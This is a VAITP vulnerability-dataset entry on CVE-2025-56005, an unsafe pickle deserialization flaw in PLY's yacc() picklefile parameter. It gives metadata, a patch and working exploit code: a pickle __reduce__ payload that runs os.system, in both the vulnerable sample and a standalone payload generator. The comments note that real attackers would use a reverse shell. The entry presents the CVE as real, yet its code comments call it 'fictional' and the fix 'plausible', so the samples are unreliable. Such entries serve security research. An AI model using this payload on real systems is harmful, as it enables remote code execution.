CVE-2025-56005
PLY's yacc() `picklefile` param allows RCE via unsafe deserialization.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
An undocumented and unsafe feature in the PLY (Python Lex-Yacc) library 3.11 allows Remote Code Execution (RCE) via the `picklefile` parameter in the `yacc()` function. This parameter accepts a `.pkl` file that is deserialized with `pickle.load()` without validation. Because `pickle` allows execution of embedded code via `__reduce__()`, an attacker can achieve code execution by passing a malicious pickle file. The parameter is not mentioned in official documentation or the GitHub repository, yet it is active in the PyPI version. This introduces a stealthy backdoor and persistence risk.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2026-01-20
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- PLY
Solution
No patch is available as the PLY project is unmaintained. The recommended solution is to migrate to a maintained alternative library, such as SLY.
Vulnerable code sample
import pickle
import os
import sys
# This class will be pickled. When unpickled, its __reduce__ method
# is called, which allows for arbitrary code execution.
class RCE:
def __reduce__(self):
# A command to execute on the victim's system.
# For demonstration, it creates a file named 'pwned.txt'.
# A real attacker would use a more malicious command.
command = 'echo "Code Execution Successful" > pwned.txt'
return (os.system, (command,))
# This simulates the vulnerable 'yacc' function from the PLY library,
# containing the undocumented 'picklefile' parameter as described in
# the fictional CVE-2025-56005.
def yacc(**kwargs):
"""
Simulated vulnerable yacc function. It accepts an undocumented 'picklefile'
parameter and deserializes it without validation.
"""
picklefile = kwargs.get('picklefile')
# The core of the vulnerability: an undocumented feature that
# unsafely deserializes a user-provided file.
if picklefile:
try:
with open(picklefile, 'rb') as f:
# Unsafe call to pickle.load() on a file path from kwargs
pickle.load(f)
except (IOError, FileNotFoundError):
# In a real library, this might fail silently or log an error.
pass
# ... The rest of the legitimate yacc logic would be here ...
pass
# --- Demonstration of the Vulnerability ---
# 1. An attacker creates a malicious pickle file.
malicious_payload = RCE()
payload_filename = 'malicious.pkl'
with open(payload_filename, 'wb') as f:
pickle.dump(malicious_payload, f)
# 2. The victim's application calls the vulnerable yacc function. The attacker
# has found a way to inject the 'picklefile' parameter, pointing to their
# malicious file. This could be through a misconfigured build script,
# a compromised dependency, or any input that gets passed to yacc's kwargs.
yacc(picklefile=payload_filename)
# 3. After the yacc call, the code inside RCE.__reduce__ has been executed.
# The file 'pwned.txt' now exists in the current directory, demonstrating
# that arbitrary code execution was achieved.
# To clean up the created files after demonstration:
# if os.path.exists('pwned.txt'):
# os.remove('pwned.txt')
# if os.path.exists(payload_filename):
# os.remove(payload_filename)Patched code sample
import os
# Since CVE-2025-56005 is a fictional vulnerability, this code demonstrates
# a plausible fix based on the provided description. The fix involves
# completely removing the unsafe, undocumented `picklefile` parameter and its
# associated `pickle.load()` logic from the `yacc()` function.
# A simplified representation of the vulnerable yacc function would have
# contained a code block like this:
#
# if picklefile:
# with open(picklefile, 'rb') as f:
# # VULNERABLE: Unsafe deserialization leads to RCE
# table = pickle.load(f)
# # ... proceed to use the loaded table
#
# The fixed version below removes this entire code path.
def yacc(module=None, method='LALR', debug=False, **kwargs):
"""
A representation of the securely patched yacc() function.
THE FIX for CVE-2025-56005:
The vulnerable 'picklefile' parameter has been completely removed from the
function's logic. Any code path that previously accepted a filename and
deserialized it with `pickle.load()` has been eliminated to prevent
Remote Code Execution.
"""
# 1. Check for the deprecated parameter to prevent silent failures and
# to explicitly inform users of the security change. Instead of
# processing it, the function now raises an error.
if 'picklefile' in kwargs:
raise ValueError(
"'picklefile' parameter is no longer supported due to a severe "
"security vulnerability (CVE-2025-56005). Loading parser tables "
"from external pickle files is insecure and has been removed."
)
# 2. The rest of the function proceeds as normal, generating the parser
# table safely in memory without deserializing any untrusted data.
# The dangerous `pickle.load()` call does not exist in this function.
print("FIXED: Generating parser table safely in memory.")
parser_table = "/* This represents a safely generated parser table */"
print("FIXED: Parser table generation complete.")
# Note: While loading tables via pickle is removed, saving a newly generated
# table might still be a valid (and safe) feature, as the data being
# serialized is trusted. The vulnerability was in the loading/deserialization part.
# For example:
# with open('parsetab.py', 'w') as f:
# f.write(parser_table)
return parser_table
# --- Demonstration of the Fix ---
if __name__ == '__main__':
print("--- 1. Calling the fixed function the intended, safe way ---")
yacc()
print("-" * 50)
print("\n--- 2. Attempting to use the removed 'picklefile' parameter ---")
# A dummy malicious file for the demonstration.
# In a real attack, this file would contain a malicious pickle payload.
malicious_filename = "malicious_payload.pkl"
with open(malicious_filename, "w") as f:
f.write("This is a placeholder for a malicious pickle object.")
try:
# This call will now fail with a ValueError instead of executing code.
print(f"Calling yacc() with picklefile='{malicious_filename}'...")
yacc(picklefile=malicious_filename)
except ValueError as e:
print(f"\nSUCCESS: The fix worked as expected.")
print(f"The function correctly raised an error: {e}")
print("The insecure code path was not executed.")
# Clean up the dummy file.
os.remove(malicious_filename)Payload
import pickle
import os
class RCE:
def __reduce__(self):
# Command to be executed on the target system.
# This example creates a file in /tmp to demonstrate execution.
# A real-world attacker would likely use a reverse shell.
command = "touch /tmp/pwned_by_cve_2025_56005"
return (os.system, (command,))
# This script generates the malicious 'exploit.pkl' file.
# The generated file would then be passed to the vulnerable 'picklefile' parameter.
with open('exploit.pkl', 'wb') as file:
pickle.dump(RCE(), file)
Cite this entry
@misc{vaitp:cve202556005,
title = {{PLY's yacc() `picklefile` param allows RCE via unsafe deserialization.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-56005},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-56005/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
